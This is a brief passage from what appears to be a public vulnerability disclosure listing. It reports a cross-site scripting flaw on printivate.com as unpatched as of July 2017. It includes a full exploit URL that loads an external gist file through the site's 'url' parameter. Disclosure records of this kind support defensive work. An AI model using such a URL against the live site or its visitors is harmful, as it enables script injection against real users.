printivate.com XSS vulnerability

Vulnerable URL: https://printivate.com/api/index.html?url=https://gist.githubusercontent.com/anonymous/4a5ece3c91b803536c3a81811af24225/raw/cb666406da086e666a74cf9219fcdc2e07100d9f/5742c4bee4b01190df6d640c.json Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017...